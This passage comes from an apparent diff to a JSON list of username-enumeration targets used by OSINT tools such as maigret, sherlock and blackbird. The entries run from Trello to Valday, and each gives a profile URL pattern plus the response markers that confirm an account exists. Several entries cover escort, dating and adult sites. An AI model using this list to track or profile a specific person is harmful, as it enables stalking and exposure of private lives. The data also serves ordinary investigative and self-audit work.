"https://trello.com/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "model not found" + }, + { + "name": "Trello", + "url": "https://trello.com/1/Members/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

Oh no! 404!

", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Trello", + "url": "https://trello.com/1/Members/{}?fields=activityBlocked%2CavatarUrl%2Cbio%2CbioData%2Cconfirmed%2CfullName%2CidEnterprise%2CidMemberReferrer%2Cinitials%2CmemberType%2CnonPublic%2Cproducts%2Curl%2Cusername", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oh no! 404!", + "match_code": 200, + "match_string": "avatarUrl" + }, + { + "name": "Trello", + "url": "https://trello.com/{}/activity", + "category": "tech", + "source": "nexfil", + "nsfw": false + }, + { + "name": "trepup.com", + "url": "https://trepup.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "Trictrac", + "url": "https://www.trictrac.net/mur/{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trilife", + "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e" + }, + { + "name": "Trinixy", + "url": "https://trinixy.ru/user/{}/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TripAdvisor", + "url": "https://tripadvisor.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This page is on vacation\u2026" + }, + { + "name": "tripadvisor", + "url": "https://www.tripadvisor.com/Profile/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "This page is on vacation", + "match_code": 200, + "match_string": "Contributions" + }, + { + "name": "tripit.com", + "url": "https://tripit.com/people/{}#/profile/basic-info", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tripline", + "url": "https://www.tripline.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tripoto", + "url": "https://www.tripoto.com/profile/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tripster", + "url": "https://tripster.ru/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trisquel", + "url": "https://trisquel.info/it/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trovo", + "url": "https://trovo.live/s/{}/", + "category": "video", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Uh Ohhh..." + }, + { + "name": "Trp_red", + "url": "https://www.trp.red/follow/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TruckersMP", + "url": "https://truckersmp.com/user/search?search={}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "

Could not find any member using these credentials

", + "match_code": 200, + "match_string": "class=\"team-v2\"" + }, + { + "name": "TruckersMP.com", + "url": "https://forum.truckersmp.com/index.php?/search/&q={}&type=core_members", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "There were no results for your search." + }, + { + "name": "TruckersMP.ru", + "url": "https://truckersmp.ru/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TrueAchievements", + "url": "https://www.trueachievements.com/gamer/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Truelancer", + "url": "https://www.truelancer.com/freelancer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This page could not be found.", + "match_string": "https://schema.org/BreadcrumbList" + }, + { + "name": "Truesteamachievements", + "url": "https://truesteamachievements.com/gamer/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Truth Social", + "url": "https://truthsocial.com/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"Record not found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Truthbook", + "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No suitable matches were found." + }, + { + "name": "Truthpodium", + "url": "https://truthpodium.org/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Trworkshop", + "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + }, + { + "name": "TryHackMe", + "url": "https://tryhackme.com/p/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Found. Redirecting to /404", + "match_string": "heatmap-user-activity" + }, + { + "name": "TryHackMe", + "url": "https://tryhackme.com/api/user/exist/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"success\":false", + "match_code": 200, + "match_string": "\"success\":true" + }, + { + "name": "Tryst", + "url": "https://tryst.link/escort/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Page not found", + "match_code": 200, + "match_string": "Caters to</div>" + }, + { + "name": "TS-Dating (International)", + "url": "https://www.ts-dating.com/model/{}", + "category": "dating", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 - PAGE NOT FOUND", + "match_string": ">Location:<span" + }, + { + "name": "tsibulskiy.my1.ru", + "url": "http://tsibulskiy.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ttrails", + "url": "https://ttrails.ru/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Ttsport", + "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "tttang", + "url": "https://tttang.com/user/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Tube Galore (channels)", + "url": "https://www.tubegalore.com/source/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "results found" + }, + { + "name": "Tube Galore (pornstars)", + "url": "https://www.tubegalore.com/pornstar/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "results found" + }, + { + "name": "Tube8 (channels)", + "url": "https://www.tube8.com/channel/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Porn Channels", + "match_string": "Channel for Free Porn | Tube8.com" + }, + { + "name": "Tube8 (pornstars)", + "url": "https://www.tube8.com/pornstar/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 Page Not Found", + "match_string": "Porn Videos and XXX Movies | Tube8.com" + }, + { + "name": "Tula", + "url": "http://tula.net.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tulup", + "url": "https://www.tulup.ru/noindex/userlist.php?search={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u044e\u0449\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0430" + }, + { + "name": "Tumblr", + "url": "https://www.tumblr.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not found.", + "match_string": "profile" + }, + { + "name": "tumblr", + "url": "https://{}.tumblr.com/", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tumblr", + "url": "https://{}.tumblr.com", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "There's nothing here", + "match_code": 200, + "match_string": "avatar" + }, + { + "name": "Tumbral", + "url": "https://tumbral.com/blog/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-name" + }, + { + "name": "Tuna", + "url": "https://tuna.voicemod.net/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tunefind", + "url": "https://www.tunefind.com/user/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "Achievements" + }, + { + "name": "tunefind", + "url": "https://www.tunefind.com/api-request/account/profile?userName={}", + "category": "music", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"code\":\"not_found\"", + "match_code": 200, + "match_string": "\"user-stats-engagement\":" + }, + { + "name": "Turbina", + "url": "https://turbinatravels.com/authors/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Turkey-info", + "url": "https://turkey-info.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "Turpravda", + "url": "https://www.turpravda.ua/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "Tutor", + "url": "https://tutor.ru/tutor/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0432\u0430\u043c\u0438 \u0430\u0434\u0440\u0435\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d" + }, + { + "name": "Tutsplus", + "url": "https://tutsplus.com/authors/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tv", + "url": "https://tv.gab.com/channel/{}", + "category": "social", + "source": "nexfil", + "nsfw": false + }, + { + "name": "tv-android.at.ua", + "url": "http://tv-android.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tv-games", + "url": "http://tv-games.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tv-games", + "url": "http://tv-games.ru/forum/member.php?username={}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "tv.ucoz.club", + "url": "http://tv.ucoz.club/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tvigra.clan.su", + "url": "http://tvigra.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TVTropes", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tw_weibo", + "url": "https://tw.weibo.com/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "User " + }, + { + "name": "Twitter", + "url": "https://www.twitter.com/{}", + "category": "social", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Twitter Shadowban", + "url": "https://shadowban.eu/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "exists\": false", + "match_string": "exists\": true" + }, + { + "name": "Twittercommunity", + "url": "https://twittercommunity.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "twle", + "url": "https://www.twle.cn/member/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Twpro.jp", + "url": "https://twpro.jp/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u3092\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002", + "match_string": "\u304a\u3068\u306a\u308a\u3055\u3093" + }, + { + "name": "Twunroll", + "url": "https://twunroll.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "article_account" + }, + { + "name": "Typeracer", + "url": "https://data.typeracer.com/pit/profile?user={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Profile Not Found" + }, + { + "name": "uahack.at.ua", + "url": "http://uahack.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uaksu", + "url": "https://uaksu.forum24.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d" + }, + { + "name": "Uanime", + "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0422\u0435\u043c \u0430\u0431\u043e \u043f\u043e\u0432\u0456\u0434\u043e\u043c\u043b\u0435\u043d\u044c" + }, + { + "name": "Uaodessa", + "url": "https://uaodessa.com/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "uaodessa.com", + "url": "http://uaodessa.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uazpatriot", + "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Ubisoft", + "url": "https://forums-ru.ubisoft.com/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Ubisoft", + "url": "https://discussions.ubisoft.com/user/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "You seem to have stumbled upon a page that does not exist.", + "match_code": 200, + "match_string": "| Ubisoft Discussion Forums" + }, + { + "name": "UBIUSB (underwear sales)", + "url": "https://ubisub.com/profile/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">ohh! page not found", + "match_string": "Follow" + }, + { + "name": "ubuntu-mate.community", + "url": "https://ubuntu-mate.community/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uchportal", + "url": "https://www.uchportal.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ucoz", + "url": "https://forum.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ucozon.ru", + "url": "http://ucozon.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ucozzz.ru", + "url": "http://ucozzz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Udemy", + "url": "https://www.udemy.com/user/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Udemy", + "url": "https://udemy.com/user/{}/", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "about-me" + }, + { + "name": "UEF CONNECT", + "url": "https://uefconnect.uef.fi/en/{}/", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found - UEFConnect", + "match_code": 200, + "match_string": "profile-page-header__info" + }, + { + "name": "uefconnect", + "url": "https://uefconnect.uef.fi/en/person/{}/", + "category": "professional", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found - UEFConnect", + "match_code": 200, + "match_string": "- UEFConnect" + }, + { + "name": "Uesp", + "url": "https://uesp.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "uface.at.ua", + "url": "http://uface.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ufive.ru", + "url": "http://ufive.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ufocomm", + "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0430\u0439\u0434\u0435\u043d\u043e: 0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "uforum.uz", + "url": "https://uforum.uz/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uft", + "url": "https://uft.me/persons/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ugri.ucoz.ru", + "url": "http://ugri.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uid", + "url": "https://uid.me/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "profile_name" + }, + { + "name": "uID.me (by uguid)", + "url": "http://uid.me/uguid/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "uID.me (by username)", + "url": "http://uid.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uiuxdev.social (Mastodon Instance)", + "url": "https://uiuxdev.social/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Ukgameshows", + "url": "https://ukgameshows.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "uko.at.ua", + "url": "http://uko.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ukraine-footbal", + "url": "https://ukraine-footbal.at.ua/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430 \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "ukrelektrik.com", + "url": "http://ukrelektrik.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ultimate Guitar", + "url": "https://www.ultimate-guitar.com/u/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 410, + "error_string": "Oops! We couldn't find that page.", + "match_code": 200, + "match_string": " | Ultimate-Guitar.Com" + }, + { + "name": "Ultimate-Guitar", + "url": "https://ultimate-guitar.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ultras Diary", + "url": "http://ultrasdiary.pl/u/{}/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Ile masz wyjazd\u00f3w?", + "match_code": 200, + "match_string": "Mecze wyjazdowe:" + }, + { + "name": "ultrasdiary.pl", + "url": "https://ultrasdiary.pl/u/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "UltrasDiary – Pami\u0119tnik Kibica", + "match_string": "Mecze wyjazdowe:" + }, + { + "name": "ulub.pl", + "url": "http://ulub.pl/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Strona nie istnieje.", + "match_string": "Muzyka (" + }, + { + "name": "umorbos.at.ua", + "url": "http://umorbos.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "unc.ua", + "url": "https://unc.ua/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Error Site", + "match_string": "page-user_profile" + }, + { + "name": "Uncyclomedia", + "url": "https://uncyclomedia.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Universemc", + "url": "https://universemc.us/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "universemc.us", + "url": "https://universemc.us/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "universocraft", + "url": "https://stats.universocraft.com/stats.php?player={}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No se ha encontrado ning\u00fan usuario con ese nombre", + "match_string": "\u00daltima conexi\u00f3n" + }, + { + "name": "Unixforum", + "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Unlisted Videos", + "url": "https://unlistedvideos.com/search.php?user={}", + "category": "forum", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "content=\"\"/>", + "match_code": 200, + "match_string": "Date submitted" + }, + { + "name": "unreal.at.ua", + "url": "http://unreal.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Unsorted", + "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "Unsplash", + "url": "https://unsplash.com/@{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Unsplash", + "url": "https://unsplash.com/@{}/likes", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "UnstoppableDomains", + "url": "https://ud.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "reservedForUserId" + }, + { + "name": "Untappd", + "url": "https://untappd.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Untappd", + "url": "https://untappd.com/user/{}/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "class=\"search_404\"", + "match_code": 200, + "match_string": "class=\"cont user_profile\"" + }, + { + "name": "Uoguide", + "url": "https://uoguide.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "upbyte.net", + "url": "http://upbyte.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uphillathlete", + "url": "https://uphillathlete.com/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "upwork.com", + "url": "https://upwork.com/fl/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ural-sloboda.ucoz.ru", + "url": "http://ural-sloboda.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uralfishing", + "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "nowrap=\"nowrap\">" + }, + { + "name": "Uwr1", + "url": "http://uwr1.de/forum/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "uwu.ai", + "url": "https://{}.uwu.ai/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sorry, the requested page could not be found.", + "match_code": 200, + "match_string": "property=\"twitter:card\"" + }, + { + "name": "Uwumarket", + "url": "https://uwumarket.us/collections/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found", + "match_code": 200, + "match_string": "collection-hero__text-wrapper" + }, + { + "name": "Uzhforum", + "url": "http://www.uzhforum.com/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447 \u043d\u0435 \u0437\u0430\u0440\u0435\u0454\u0441\u0442\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0456 \u043d\u0435 \u043c\u0430\u0454 \u043f\u0440\u043e\u0444\u0456\u043b\u044e, \u044f\u043a\u0438\u0439 \u043c\u043e\u0436\u043d\u0430 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u043d\u0443\u0442\u0438." + }, + { + "name": "v-twinforum.com", + "url": "https://v-twinforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "v2ex.com", + "url": "https://v2ex.com/member/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "v3de.ru", + "url": "http://v3de.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vadimbondar.ucoz.ru", + "url": "http://vadimbondar.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vadya.ucoz.ru", + "url": "http://vadya.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Valday", + "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f " + }, + { + "name": "valinor.com.br", + "url": "http://www.valinor.com.br/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "valleykrosava.ucoz.ru", + "url": 